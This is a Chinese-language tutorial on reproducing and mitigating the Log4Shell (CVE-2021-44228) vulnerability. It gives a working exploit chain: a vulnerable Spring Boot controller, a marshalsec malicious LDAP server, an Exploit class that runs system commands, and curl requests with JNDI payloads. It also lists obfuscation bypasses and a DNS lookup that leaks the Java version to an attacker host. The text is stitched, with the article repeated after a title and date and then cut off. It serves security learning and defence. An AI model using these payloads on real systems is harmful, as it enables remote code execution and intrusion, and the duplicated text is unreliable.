1. 项目概述为什么Log4Shell值得每个从业者亲手复现去年年底一个代号为“Log4Shell”的漏洞CVE-2021-44228震动了整个互联网。你可能在新闻里看到过它知道它影响巨大、危害深远但“知道”和“亲手验证过”是两回事。作为一个常年和代码、服务器打交道的人我始终认为面对这种级别的安全事件最好的理解方式就是亲手把它“造”出来再亲手把它“堵”上。这不仅能让你深刻理解漏洞的原理更能让你在未来的工作中对日志记录、外部数据输入、Java类加载这些看似平常的环节建立起一种本能的警惕。CVE-2021-44228本质上是一个存在于Apache Log4j 2库中的远程代码执行漏洞。攻击者无需任何认证只需构造一条特殊的日志信息就能让使用该库的Java应用从攻击者控制的服务器上加载并执行任意代码。其危害性之所以被定为“核弹级”关键在于两点一是Log4j作为Java生态中最主流的日志框架应用范围极广二是漏洞触发条件极其简单任何会记录用户输入的地方如搜索框、用户代理头、请求参数都可能成为入口。今天我就带你从零开始在一个完全可控的沙箱环境里完整复现Log4Shell漏洞。这个过程你会搭建一个存在漏洞的简易Web应用启动一个恶意的LDAP服务并最终通过一次看似无害的HTTP请求在目标服务器上弹出计算器这是无害化验证的经典方式。更重要的是我会详细拆解每一步背后的Java机制并分享从防御视角的加固方案与排查心得。无论你是开发、运维还是安全研究员这个实验都能让你获得远超阅读分析报告的实际认知。2. 漏洞核心原理与利用链深度拆解要成功复现并真正理解Log4Shell我们不能停留在“发个请求就能执行命令”的表面。必须深入Java的机制看清整个攻击链条是如何一环扣一环地被打通的。整个利用链可以清晰地分为四个阶段输入注入、日志触发、JNDI解析与恶意类加载执行。2.1 第一阶段攻击载荷的构造与注入漏洞的入口点在于Log4j 2提供的“查找”功能具体是${}语法。这个功能本意是为了在日志输出时能动态插入一些上下文信息比如${java:runtime}可以输出Java版本。问题出在它支持一种叫做JNDI的查找协议。攻击者构造的核心载荷如下${jndi:ldap://attacker-control-server.com:1389/a}这个字符串就是打开潘多拉魔盒的钥匙。我们来拆解它${}: 告诉Log4j这里面的内容需要被“查找”并解析。jndi:: 指定使用JNDIJava命名和目录接口协议进行查找。ldap://: 指示JNDI通过LDAP协议去获取资源。attacker-control-server.com:1389: 攻击者控制的LDAP服务器地址和端口。/a: 一个路径在后续步骤中LDAP服务器会利用它指向真正的恶意代码。这个字符串可以通过任何会被应用记录到日志的输入点注入。例如在一个Web应用中你可以将它作为HTTP请求的User-Agent头发送或者放在一个搜索关键词的参数里。只要后端代码用Log4j 2记录了这些信息漏洞就会被触发。注意在实际攻击中攻击者会对载荷进行多次编码如URL编码、Base64编码以绕过一些简单的WAF规则或输入过滤。例如将{编码为%7B将:编码为%3a。我们在复现时为了清晰会先使用原始载荷。2.2 第二阶段Log4j的“查找”与JNDI触发当包含${jndi:ldap://...}的字符串被Logger.info()、Logger.error()等方法记录时Log4j 2的消息查找替换机制开始工作。默认情况下在Log4j 2.14.1及之前版本中只要日志模式布局Pattern Layout中包含了%m消息或%msg这个查找替换就会自动发生。这个过程是递归的意味着如果查找结果中还包含${}它还会继续解析这为攻击提供了更多可能性。Log4j在解析到jndi:协议后便会调用Java的JNDI服务管理器尝试去连接ldap://后面指定的地址。这里的关键在于早期版本的JNDI实现对于从远程LDAP服务器加载Java对象JavaReference的行为默认是信任并允许的。2.3 第三阶段恶意LDAP服务器的响应与指向这是攻击者掌控的一环。当存在漏洞的应用向attacker-control-server.com:1389发起LDAP查询时攻击者架设的恶意LDAP服务器不会返回普通的目录信息而是会返回一个特殊的LDAP引用响应。这个响应里包含了一个关键的属性javaClassName。更重要的是它包含了一个javaCodeBase属性指向另一个HTTP服务器地址那里存放着编译好的恶意Java类文件.class文件。LDAP服务器告诉受害者应用“你要找的对象/a是一个Java类它的定义不在我这里你去http://attacker-http-server.com/Exploit.class这个地址拿吧。”2.4 第四阶段远程类加载与代码执行受害者应用中的JNDI服务接收到LDAP引用后会根据javaCodeBase的指示去指定的HTTP地址下载Exploit.class文件。然后JNDI会使用当前应用的类加载器加载这个字节码。这个被加载的Exploit类其静态代码块static {}或构造函数中通常包含了攻击者想要执行的代码。在我们的复现中为了无害化演示这段代码就是执行系统命令弹出计算器Windows或打开终端Linux/Mac。一旦类被加载其中的恶意代码就会立即执行从而完成了从日志记录到远程代码执行的完整链条。实操心得理解这个链条的价值在于你可以从任意一环进行防御。比如在输入层过滤${在日志层禁用JNDI查找在网络层阻止对外部LDAP/HTTP服务器的访问在运行时环境升级JDK以限制远程类加载。仅仅升级Log4j版本是治本之策但多层次的防御能让你在未及时打补丁时依然安全。3. 复现环境搭建与工具选型纸上得来终觉浅绝知此事要躬行。为了安全、清晰地复现我们需要搭建一个隔离的实验环境。整个环境由三部分组成存在漏洞的靶机应用、攻击者控制的恶意LDAP服务、以及托管恶意类的HTTP服务。我们将全部在本地或隔离的虚拟机中完成。3.1 靶机应用准备构建一个脆弱的Web服务我们的目标是快速搭建一个会使用有漏洞Log4j 2库的简单Java Web应用。这里我推荐两种最快捷的方式方案一使用Spring Boot快速构建推荐这是最接近真实生产场景的方式。你可以使用Spring Initializr生成一个基础项目然后手动引入有漏洞的Log4j 2依赖。创建项目访问Spring Initializr选择Maven、Java 8或11依赖只需选择Spring Web。修改pom.xml关键步骤是覆盖Spring Boot默认的日志启动器引入有漏洞的Log4j 2版本。properties log4j2.version2.14.1/log4j2.version !-- 指定漏洞版本 -- /properties dependencies dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-web/artifactId !-- 排除默认的Logback -- exclusions exclusion groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-logging/artifactId /exclusion /exclusions /dependency !-- 引入有漏洞的Log4j2 -- dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-log4j2/artifactId /dependency /dependencies编写漏洞触发端点创建一个简单的Controller记录用户输入。import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.springframework.web.bind.annotation.*; RestController public class VulnerableController { private static final Logger logger LogManager.getLogger(VulnerableController.class); GetMapping(/hello) public String hello(RequestParam(value name, defaultValue World) String name) { // 关键漏洞点使用Log4j2记录未经验证的用户输入 logger.info(Received a request for user: {}, name); return Hello, name !; } }方案二使用现成的漏洞靶场如果你不想写代码可以选用专为安全研究设计的漏洞靶场例如vulhub或Log4jLab。以vulhub为例只需几条命令即可启动一个现成的漏洞环境git clone https://github.com/vulhub/vulhub.git cd vulhub/log4j/CVE-2021-44228 docker-compose up -d这种方式省去了配置依赖的麻烦环境纯净且一键还原。3.2 攻击工具准备JNDI注入利用工具我们需要两个工具一个提供恶意LDAP引用服务另一个托管恶意Java类文件。手工编写这些服务比较繁琐安全社区已有成熟的集成工具。这里我强烈推荐使用marshalsec它轻量且易于理解。下载与编译marshalsecgit clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译成功后在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar。准备恶意Java类 我们需要创建一个会在目标机器上执行命令的类。新建一个Exploit.java文件public class Exploit { static { try { // 无害化验证弹出计算器Windows或打开计算器Linux/macOS String os System.getProperty(os.name).toLowerCase(); if (os.contains(win)) { Runtime.getRuntime().exec(calc.exe); } else if (os.contains(mac)) { Runtime.getRuntime().exec(open -a Calculator); } else { // Linux系统尝试使用gnome-calculator或xcalc Runtime.getRuntime().exec(new String[]{gnome-calculator}); } } catch (Exception e) { e.printStackTrace(); } } }将其编译为.class文件javac Exploit.java编译后得到Exploit.class这就是我们的“炮弹”。启动HTTP服务器托管恶意类 在Exploit.class所在目录使用Python快速启动一个HTTP服务器端口设为8000python3 -m http.server 8000确保你的攻击机IP或localhost的8000端口可以访问到这个文件。3.3 网络与环境配置要点所有组件置于同一网络为了简化复现建议将靶机应用、marshalsec工具、Python HTTP服务器都运行在同一台机器或同一个Docker网络内。这样可以使用localhost或127.0.0.1进行通信避免网络策略问题。关闭防火墙或开放端口确保实验环境的防火墙不会阻止1389LDAP、8000HTTP以及靶机应用端口如8080的通信。使用Java 8u191以下版本为了成功复现远程类加载靶机应用的Java运行环境需要是早期版本早于8u191、7u201、6u211或11.0.1。这些版本之后Java默认禁用了JNDI远程类加载。这是复现成功的关键前提。4. 分步实操发起一次完整的Log4Shell攻击环境就绪现在让我们像攻击者一样一步步发起攻击亲眼见证漏洞被触发。4.1 第一步启动恶意LDAP引用服务器打开一个终端进入marshalsec的jar包所在目录执行以下命令java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://YOUR_IP:8000/#Exploit命令参数详解-cp: 指定类路径即我们的jar包。marshalsec.jndi.LDAPRefServer: 启动LDAP引用服务器的主类。http://YOUR_IP:8000/#Exploit: 这是核心参数。它告诉LDAP服务器当有客户端查询时就返回一个指向http://YOUR_IP:8000/Exploit.class的引用。#Exploit指定了类名。将YOUR_IP替换为你的攻击机IP。如果所有服务都在本机使用127.0.0.1。如果启动成功你会看到类似Listening on 0.0.0.0:1389的输出表示LDAP服务已在1389端口监听。4.2 第二步启动存在漏洞的靶机应用在另一个终端启动你之前准备好的Spring Boot应用或漏洞靶场。对于Spring Boot应用在项目根目录运行mvn spring-boot:run对于vulhub的Docker环境它应该已经在运行。应用启动后默认通常在http://localhost:8080。访问http://localhost:8080/hello应该能看到Hello, World!的响应同时后台日志会记录一条信息。4.3 第三步构造并发送攻击请求现在我们向靶机的漏洞端点发送包含JNDI载荷的请求。这里使用最通用的curl命令。打开第三个终端执行curl http://localhost:8080/hello?name${jndi:ldap://127.0.0.1:1389/a}或者为了更清晰地观察可以将载荷放在HTTP头中很多应用会记录请求头curl -H X-Api-Version: ${jndi:ldap://127.0.0.1:1389/a} http://localhost:8080/hello关键观察点发送请求后立即查看运行LDAP服务器的终端。你应该能看到一条新的连接日志例如Send LDAP reference result for /a redirecting to http://127.0.0.1:8000/Exploit.class。这证明靶机应用已经连接了你的恶意LDAP服务器并收到了引用。接着查看运行Python HTTP服务器的终端。你应该能看到一条GET /Exploit.class的请求日志。这证明靶机应用根据LDAP的指引来你的HTTP服务器下载恶意类文件了。4.4 第四步见证漏洞触发如果一切顺利几秒钟后在运行靶机应用的机器上注意是运行Java应用的那台机器不是攻击机你会看到计算器程序被弹出结果分析你的curl请求将${jndi:ldap://...}作为参数name的值发送。靶机应用接收到请求执行logger.info(Received a request for user: {}, name)。Log4j 2在格式化日志消息时解析name变量中的${}字符串触发JNDI查找。Java进程向127.0.0.1:1389发起LDAP查询。恶意LDAP服务器返回一个指向http://127.0.0.1:8000/Exploit.class的引用。Java进程从该HTTP地址下载Exploit.class字节码。JVM加载Exploit类执行其静态代码块中的Runtime.getRuntime().exec(calc.exe)从而弹出计算器。至此一次完整的Log4Shell漏洞复现成功。你通过一个简单的HTTP请求在远程服务器上实现了代码执行。注意事项复现过程中如果计算器没有弹出请按以下顺序排查1) 检查所有服务App, LDAP, HTTP是否都正常运行且无端口冲突2) 确认靶机应用的Java版本是否低于限制版本用java -version命令3) 检查靶机应用的日志输出看是否打印了相关的错误信息如连接拒绝、类加载失败4) 尝试将载荷中的127.0.0.1替换为你本机在局域网的真实IP确保网络可达。5. 从攻击到防御漏洞修复与深度加固方案成功复现漏洞带来的震撼应该立刻转化为防御的动力。仅仅升级Log4j只是第一步一个健壮的防御体系需要多层次构建。5.1 根本解决升级与替换这是最直接有效的方案。升级Log4j 2立即升级到安全版本。Log4j 2.16.0Java 8或 2.12.2Java 7这两个版本默认完全禁用了JNDI功能并关闭了消息查找中的递归解析从根源上切断了利用链。Log4j 2.17.x 及更高版本提供了更细粒度的安全控制。升级命令示例Maven:properties log4j2.version2.17.2/log4j2.version /properties临时缓解措施如果无法立即升级设置系统属性在启动应用时添加JVM参数-Dlog4j2.formatMsgNoLookupstrue。这个参数在Log4j 2.10.0及以上版本有效可以关闭消息查找功能。移除易受攻击的类从classpath中删除JndiLookup类。因为该漏洞利用需要这个类。find /path/to/app -name log4j-core-*.jar -type f | xargs -I {} zip -q -d {} org/apache/logging/log4j/core/lookup/JndiLookup.class执行后需重启应用。这是一个“外科手术式”的临时方案。5.2 运行时环境加固设置Java安全策略即使应用使用了有漏洞的Log4j版本也可以通过强化Java运行时环境来阻止攻击成功。升级JDK/JRE将运行环境升级到以下版本这些版本默认禁用了JNDI远程类加载。Oracle JDK/JRE 8u191, 7u201, 6u211 或更高OpenJDK 8u192, 11.0.1 或更高设置安全属性对于无法升级的旧版本Java可以通过设置以下系统属性来限制JNDI-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse -Dcom.sun.jndi.rmi.object.trustURLCodebasefalse这两个属性分别禁用了通过LDAP和RMI协议从远程Codebase加载工厂类的能力。5.3 网络层防御构筑外部访问防线纵深防御的关键在于即使攻击载荷被触发也要让它“找不到路”。出口过滤在服务器或网络边界防火墙严格限制服务器对外发起连接的端口和协议。除了必要的业务出口如访问数据库、API网关应默认拒绝所有出站请求。特别是要阻止服务器向外部任意地址的LDAP389, 636, 1389, 1636、RMI1099、DNS53等协议端口发起连接。这能有效阻断漏洞利用链的第三阶段。入侵检测/防御系统IDS/IPS部署安全设备或软件配置规则以检测出站流量中异常的LDAP或HTTP请求例如从Web服务器发往非常见IP的LDAP请求并及时告警或阻断。Web应用防火墙WAF在应用前端部署WAF配置规则对请求参数、头部、Cookie中的${jndi:、${ldap:、${rmi:等模式进行识别和拦截。注意攻击者会使用各种编码变形进行绕过因此WAF规则需要持续更新。5.4 应用层最佳实践编写“免疫”的代码防御的最终落脚点在于代码本身。输入验证与净化对所有用户输入进行严格的验证和过滤。对于明确不需要特殊字符的字段拒绝包含${、}等字符的输入。对于需要复杂内容的字段进行严格的转义或白名单过滤。谨慎记录日志避免记录不可信的、完整的用户输入。特别是HTTP请求头、URL参数、用户代理User-Agent、Referer等容易被攻击者控制的内容。如果必须记录应考虑进行脱敏或截断处理。使用参数化日志始终使用Log4j 2的参数化日志形式这本身不会阻止漏洞但它是良好的实践。// 好的做法使用参数化形式 logger.info(User login: {}, username); // 风险做法直接拼接字符串虽然对Log4Shell无影响但可能引发其他问题 logger.info(User login: username);依赖项安全管理建立软件物料清单SBOM使用像OWASP Dependency-Check、Snyk、GitHub Dependabot等工具持续扫描项目依赖及时发现并修复包含已知漏洞的组件。6. 排查、检测与应急响应实录当Log4Shell漏洞爆发时快速定位受影响资产和确认是否被攻击至关重要。以下是我在实际应急中总结的流程和技巧。6.1 如何快速排查受影响系统面对成百上千的服务你需要一个高效的排查清单排查维度具体操作与命令说明与技巧1. 进程扫描jps -l或 ps auxgrep java2. 依赖检查进入应用目录执行find . -name *.jar -type fxargs -I {} sh -c unzip -l {}3. 版本确认检查log4j-core-*.jar的文件名或解压后查看META-INF/MANIFEST.MF文件中的版本号。版本号小于等于2.14.1的均受影响。注意很多应用会将依赖打包进Fat Jar需要深入查找。4. 在线检测使用开源的检测脚本如log4j2-scanGo语言编写速度快./log4j2-scan /path/to/scan这类工具能自动化完成上述查找过程并给出详细报告适合大规模扫描。实操心得不要只扫描应用目录还要扫描服务器的/tmp、/var/tmp等临时目录攻击者可能会将恶意jar包下载到这些位置。同时检查容器的镜像层因为基础镜像可能包含有漏洞的库。6.2 入侵迹象分析与日志溯源如果怀疑系统已被攻击你需要像侦探一样在日志中寻找蛛丝马迹。在应用日志中搜索以下关键词原始载荷${jndi:、${ldap:、${rmi:、${dns:、${lower:、${upper:。攻击者经常使用lower、upper等Lookup进行嵌套混淆。编码后的载荷%24%7Bjndi%3AURL编码、${${::-j}ndi:特殊字符绕过。需要熟悉常见的编码和绕过技巧。网络连接迹象检查系统日志如/var/log/syslog,journalctl或使用netstat、ss命令查看是否有进程向外部非常用IP的1389LDAP、389、1099RMI、53DNS端口发起过连接。DNS查询日志也是重要线索因为攻击者会用${jndi:dns://attacker.com/a}来验证漏洞是否存在。异常进程与文件检查是否有陌生的Java进程、计划任务crontab、或新创建的陌生文件如/tmp/下的.class或.jar文件。一个真实的日志排查示例 假设你在Nginx访问日志中看到这样一条记录192.168.1.100 - - [10/Dec/2021:15:32:11] GET /api/search?q${jndi:ldap://evil.com:1389/Exploit} HTTP/1.1 200 45这几乎就是攻击的确凿证据。你需要立刻封锁源IP192.168.1.100。检查该时间点前后应用服务器和系统日志是否有异常。确认evil.com这个域名并尝试在威胁情报平台查询其信誉。6.3 应急响应步骤清单一旦确认遭受攻击必须立即按流程处置控制损失。立即隔离将受影响的主机从网络中断开或通过防火墙策略立即阻断其所有入站和出站流量防止攻击者维持访问或横向移动。消除攻击入口根据排查结果实施前述的修复方案升级、设置参数、删除类文件。优先采用升级方案。全面排查以被攻击主机为起点排查同一网络段内、有凭证互通的其他系统是否也受到影响。证据保存在修复前对受影响系统的内存、磁盘进行镜像备份保存相关日志以备后续法律溯源或深度分析。密码重置与密钥轮换假设攻击者已获取系统权限应重置该服务器涉及的所有数据库密码、API密钥、SSH密钥、证书等敏感信息。漏洞修复与恢复在隔离环境中对受影响系统完成彻底修复升级所有相关组件和安全加固后再重新上线。事后复盘分析攻击根本原因是未及时打补丁还是依赖管理流程缺失更新安全运维流程如强化补丁管理、引入自动化漏洞扫描、完善网络隔离策略。7. 高级利用技巧与绕过手法剖析仅用于防御认知了解攻击者的高级手法才能更好地防御。Log4Shell爆发后出现了多种绕过检测的利用技巧。7.1 利用其他Lookup进行混淆和绕过Log4j 2提供了众多Lookup攻击者可以组合使用构造出难以被简单字符串匹配检测的载荷。大小写变换${${lower:j}ndi:...}或${${upper:j}ndi:...}。${lower:j}的结果是j。环境变量嵌套${jndi:${env:PROTO}://${env:HOST}/a}。攻击者可以控制环境变量PROTOldapHOSTevil.com使得最终载荷在运行时才被解析。DNS查询作为利用链${jndi:dns://${sys:java.version}.attacker.com/a}。这会将目标的Java版本信息通过DNS子域名泄露给攻击者常用于漏洞存在性验证且不易被传统防火墙拦截。7.2 利用其他协议与向量除了LDAPJNDI还支持RMI、DNS、IIOP等协议这些都可以被用作攻击向量。RMI利用${jndi:rmi://attacker.com:1099/Exploit}。利用方式与LDAP类似但需要启动RMI注册表。二次攻击与内存马在早期攻击成功后可加载执行任意代码。现代攻击往往不满足于执行一次命令而是注入内存Webshell内存马。攻击者会下载一个特殊的jar包该jar包利用Java instrumentation或动态注册Filter/Servlet等技术在Web容器内存中植入一个后门即使重启应用不重启JVM后门依然存在极具隐蔽性。7.3 针对修复措施的绕过尝试在漏洞爆发初期一些临时修复措施被提出攻击者也迅速找到了绕过方法。针对formatMsgNoLookups的绕过在2.10到2.14.1版本中如果配置了%m{nolookups}或%msg{nolookups}可以防御。但攻击者发现如果日志记录方式不是通过%m而是通过${ctx}上下文映射等方式且上下文数据中包含了攻击载荷依然可能被解析。这凸显了彻底升级的重要性。针对WAF规则编码绕过双URL编码、十六进制编码、Unicode编码等都是攻击者绕过简单字符串匹配WAF的常用手段。例如将{编码为%257B双URL编码或\u0024\u007bUnicode。防御视角面对这些绕过手法防御方必须采取深度防御策略。单一维度的检测如字符串匹配必然会被绕过。必须结合行为检测如进程对外发起非常规的LDAP连接、运行时应用自我保护RASP以及网络层出口过滤形成立体防御体系。同时保持所有软件组件的最新状态是成本最低、效果最好的安全实践。Log4Shell事件给所有从业者上了一课在高度互联的软件生态中一个基础组件的漏洞其影响可能是全局性的。建立快速的漏洞响应机制、完善的资产清单和持续的依赖监控不再是可选项而是生存的必需品。
Log4Shell漏洞复现与防御:从JNDI注入到远程代码执行实战
发布时间:2026/6/25 15:31:31
1. 项目概述为什么Log4Shell值得每个从业者亲手复现去年年底一个代号为“Log4Shell”的漏洞CVE-2021-44228震动了整个互联网。你可能在新闻里看到过它知道它影响巨大、危害深远但“知道”和“亲手验证过”是两回事。作为一个常年和代码、服务器打交道的人我始终认为面对这种级别的安全事件最好的理解方式就是亲手把它“造”出来再亲手把它“堵”上。这不仅能让你深刻理解漏洞的原理更能让你在未来的工作中对日志记录、外部数据输入、Java类加载这些看似平常的环节建立起一种本能的警惕。CVE-2021-44228本质上是一个存在于Apache Log4j 2库中的远程代码执行漏洞。攻击者无需任何认证只需构造一条特殊的日志信息就能让使用该库的Java应用从攻击者控制的服务器上加载并执行任意代码。其危害性之所以被定为“核弹级”关键在于两点一是Log4j作为Java生态中最主流的日志框架应用范围极广二是漏洞触发条件极其简单任何会记录用户输入的地方如搜索框、用户代理头、请求参数都可能成为入口。今天我就带你从零开始在一个完全可控的沙箱环境里完整复现Log4Shell漏洞。这个过程你会搭建一个存在漏洞的简易Web应用启动一个恶意的LDAP服务并最终通过一次看似无害的HTTP请求在目标服务器上弹出计算器这是无害化验证的经典方式。更重要的是我会详细拆解每一步背后的Java机制并分享从防御视角的加固方案与排查心得。无论你是开发、运维还是安全研究员这个实验都能让你获得远超阅读分析报告的实际认知。2. 漏洞核心原理与利用链深度拆解要成功复现并真正理解Log4Shell我们不能停留在“发个请求就能执行命令”的表面。必须深入Java的机制看清整个攻击链条是如何一环扣一环地被打通的。整个利用链可以清晰地分为四个阶段输入注入、日志触发、JNDI解析与恶意类加载执行。2.1 第一阶段攻击载荷的构造与注入漏洞的入口点在于Log4j 2提供的“查找”功能具体是${}语法。这个功能本意是为了在日志输出时能动态插入一些上下文信息比如${java:runtime}可以输出Java版本。问题出在它支持一种叫做JNDI的查找协议。攻击者构造的核心载荷如下${jndi:ldap://attacker-control-server.com:1389/a}这个字符串就是打开潘多拉魔盒的钥匙。我们来拆解它${}: 告诉Log4j这里面的内容需要被“查找”并解析。jndi:: 指定使用JNDIJava命名和目录接口协议进行查找。ldap://: 指示JNDI通过LDAP协议去获取资源。attacker-control-server.com:1389: 攻击者控制的LDAP服务器地址和端口。/a: 一个路径在后续步骤中LDAP服务器会利用它指向真正的恶意代码。这个字符串可以通过任何会被应用记录到日志的输入点注入。例如在一个Web应用中你可以将它作为HTTP请求的User-Agent头发送或者放在一个搜索关键词的参数里。只要后端代码用Log4j 2记录了这些信息漏洞就会被触发。注意在实际攻击中攻击者会对载荷进行多次编码如URL编码、Base64编码以绕过一些简单的WAF规则或输入过滤。例如将{编码为%7B将:编码为%3a。我们在复现时为了清晰会先使用原始载荷。2.2 第二阶段Log4j的“查找”与JNDI触发当包含${jndi:ldap://...}的字符串被Logger.info()、Logger.error()等方法记录时Log4j 2的消息查找替换机制开始工作。默认情况下在Log4j 2.14.1及之前版本中只要日志模式布局Pattern Layout中包含了%m消息或%msg这个查找替换就会自动发生。这个过程是递归的意味着如果查找结果中还包含${}它还会继续解析这为攻击提供了更多可能性。Log4j在解析到jndi:协议后便会调用Java的JNDI服务管理器尝试去连接ldap://后面指定的地址。这里的关键在于早期版本的JNDI实现对于从远程LDAP服务器加载Java对象JavaReference的行为默认是信任并允许的。2.3 第三阶段恶意LDAP服务器的响应与指向这是攻击者掌控的一环。当存在漏洞的应用向attacker-control-server.com:1389发起LDAP查询时攻击者架设的恶意LDAP服务器不会返回普通的目录信息而是会返回一个特殊的LDAP引用响应。这个响应里包含了一个关键的属性javaClassName。更重要的是它包含了一个javaCodeBase属性指向另一个HTTP服务器地址那里存放着编译好的恶意Java类文件.class文件。LDAP服务器告诉受害者应用“你要找的对象/a是一个Java类它的定义不在我这里你去http://attacker-http-server.com/Exploit.class这个地址拿吧。”2.4 第四阶段远程类加载与代码执行受害者应用中的JNDI服务接收到LDAP引用后会根据javaCodeBase的指示去指定的HTTP地址下载Exploit.class文件。然后JNDI会使用当前应用的类加载器加载这个字节码。这个被加载的Exploit类其静态代码块static {}或构造函数中通常包含了攻击者想要执行的代码。在我们的复现中为了无害化演示这段代码就是执行系统命令弹出计算器Windows或打开终端Linux/Mac。一旦类被加载其中的恶意代码就会立即执行从而完成了从日志记录到远程代码执行的完整链条。实操心得理解这个链条的价值在于你可以从任意一环进行防御。比如在输入层过滤${在日志层禁用JNDI查找在网络层阻止对外部LDAP/HTTP服务器的访问在运行时环境升级JDK以限制远程类加载。仅仅升级Log4j版本是治本之策但多层次的防御能让你在未及时打补丁时依然安全。3. 复现环境搭建与工具选型纸上得来终觉浅绝知此事要躬行。为了安全、清晰地复现我们需要搭建一个隔离的实验环境。整个环境由三部分组成存在漏洞的靶机应用、攻击者控制的恶意LDAP服务、以及托管恶意类的HTTP服务。我们将全部在本地或隔离的虚拟机中完成。3.1 靶机应用准备构建一个脆弱的Web服务我们的目标是快速搭建一个会使用有漏洞Log4j 2库的简单Java Web应用。这里我推荐两种最快捷的方式方案一使用Spring Boot快速构建推荐这是最接近真实生产场景的方式。你可以使用Spring Initializr生成一个基础项目然后手动引入有漏洞的Log4j 2依赖。创建项目访问Spring Initializr选择Maven、Java 8或11依赖只需选择Spring Web。修改pom.xml关键步骤是覆盖Spring Boot默认的日志启动器引入有漏洞的Log4j 2版本。properties log4j2.version2.14.1/log4j2.version !-- 指定漏洞版本 -- /properties dependencies dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-web/artifactId !-- 排除默认的Logback -- exclusions exclusion groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-logging/artifactId /exclusion /exclusions /dependency !-- 引入有漏洞的Log4j2 -- dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-log4j2/artifactId /dependency /dependencies编写漏洞触发端点创建一个简单的Controller记录用户输入。import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.springframework.web.bind.annotation.*; RestController public class VulnerableController { private static final Logger logger LogManager.getLogger(VulnerableController.class); GetMapping(/hello) public String hello(RequestParam(value name, defaultValue World) String name) { // 关键漏洞点使用Log4j2记录未经验证的用户输入 logger.info(Received a request for user: {}, name); return Hello, name !; } }方案二使用现成的漏洞靶场如果你不想写代码可以选用专为安全研究设计的漏洞靶场例如vulhub或Log4jLab。以vulhub为例只需几条命令即可启动一个现成的漏洞环境git clone https://github.com/vulhub/vulhub.git cd vulhub/log4j/CVE-2021-44228 docker-compose up -d这种方式省去了配置依赖的麻烦环境纯净且一键还原。3.2 攻击工具准备JNDI注入利用工具我们需要两个工具一个提供恶意LDAP引用服务另一个托管恶意Java类文件。手工编写这些服务比较繁琐安全社区已有成熟的集成工具。这里我强烈推荐使用marshalsec它轻量且易于理解。下载与编译marshalsecgit clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译成功后在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar。准备恶意Java类 我们需要创建一个会在目标机器上执行命令的类。新建一个Exploit.java文件public class Exploit { static { try { // 无害化验证弹出计算器Windows或打开计算器Linux/macOS String os System.getProperty(os.name).toLowerCase(); if (os.contains(win)) { Runtime.getRuntime().exec(calc.exe); } else if (os.contains(mac)) { Runtime.getRuntime().exec(open -a Calculator); } else { // Linux系统尝试使用gnome-calculator或xcalc Runtime.getRuntime().exec(new String[]{gnome-calculator}); } } catch (Exception e) { e.printStackTrace(); } } }将其编译为.class文件javac Exploit.java编译后得到Exploit.class这就是我们的“炮弹”。启动HTTP服务器托管恶意类 在Exploit.class所在目录使用Python快速启动一个HTTP服务器端口设为8000python3 -m http.server 8000确保你的攻击机IP或localhost的8000端口可以访问到这个文件。3.3 网络与环境配置要点所有组件置于同一网络为了简化复现建议将靶机应用、marshalsec工具、Python HTTP服务器都运行在同一台机器或同一个Docker网络内。这样可以使用localhost或127.0.0.1进行通信避免网络策略问题。关闭防火墙或开放端口确保实验环境的防火墙不会阻止1389LDAP、8000HTTP以及靶机应用端口如8080的通信。使用Java 8u191以下版本为了成功复现远程类加载靶机应用的Java运行环境需要是早期版本早于8u191、7u201、6u211或11.0.1。这些版本之后Java默认禁用了JNDI远程类加载。这是复现成功的关键前提。4. 分步实操发起一次完整的Log4Shell攻击环境就绪现在让我们像攻击者一样一步步发起攻击亲眼见证漏洞被触发。4.1 第一步启动恶意LDAP引用服务器打开一个终端进入marshalsec的jar包所在目录执行以下命令java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://YOUR_IP:8000/#Exploit命令参数详解-cp: 指定类路径即我们的jar包。marshalsec.jndi.LDAPRefServer: 启动LDAP引用服务器的主类。http://YOUR_IP:8000/#Exploit: 这是核心参数。它告诉LDAP服务器当有客户端查询时就返回一个指向http://YOUR_IP:8000/Exploit.class的引用。#Exploit指定了类名。将YOUR_IP替换为你的攻击机IP。如果所有服务都在本机使用127.0.0.1。如果启动成功你会看到类似Listening on 0.0.0.0:1389的输出表示LDAP服务已在1389端口监听。4.2 第二步启动存在漏洞的靶机应用在另一个终端启动你之前准备好的Spring Boot应用或漏洞靶场。对于Spring Boot应用在项目根目录运行mvn spring-boot:run对于vulhub的Docker环境它应该已经在运行。应用启动后默认通常在http://localhost:8080。访问http://localhost:8080/hello应该能看到Hello, World!的响应同时后台日志会记录一条信息。4.3 第三步构造并发送攻击请求现在我们向靶机的漏洞端点发送包含JNDI载荷的请求。这里使用最通用的curl命令。打开第三个终端执行curl http://localhost:8080/hello?name${jndi:ldap://127.0.0.1:1389/a}或者为了更清晰地观察可以将载荷放在HTTP头中很多应用会记录请求头curl -H X-Api-Version: ${jndi:ldap://127.0.0.1:1389/a} http://localhost:8080/hello关键观察点发送请求后立即查看运行LDAP服务器的终端。你应该能看到一条新的连接日志例如Send LDAP reference result for /a redirecting to http://127.0.0.1:8000/Exploit.class。这证明靶机应用已经连接了你的恶意LDAP服务器并收到了引用。接着查看运行Python HTTP服务器的终端。你应该能看到一条GET /Exploit.class的请求日志。这证明靶机应用根据LDAP的指引来你的HTTP服务器下载恶意类文件了。4.4 第四步见证漏洞触发如果一切顺利几秒钟后在运行靶机应用的机器上注意是运行Java应用的那台机器不是攻击机你会看到计算器程序被弹出结果分析你的curl请求将${jndi:ldap://...}作为参数name的值发送。靶机应用接收到请求执行logger.info(Received a request for user: {}, name)。Log4j 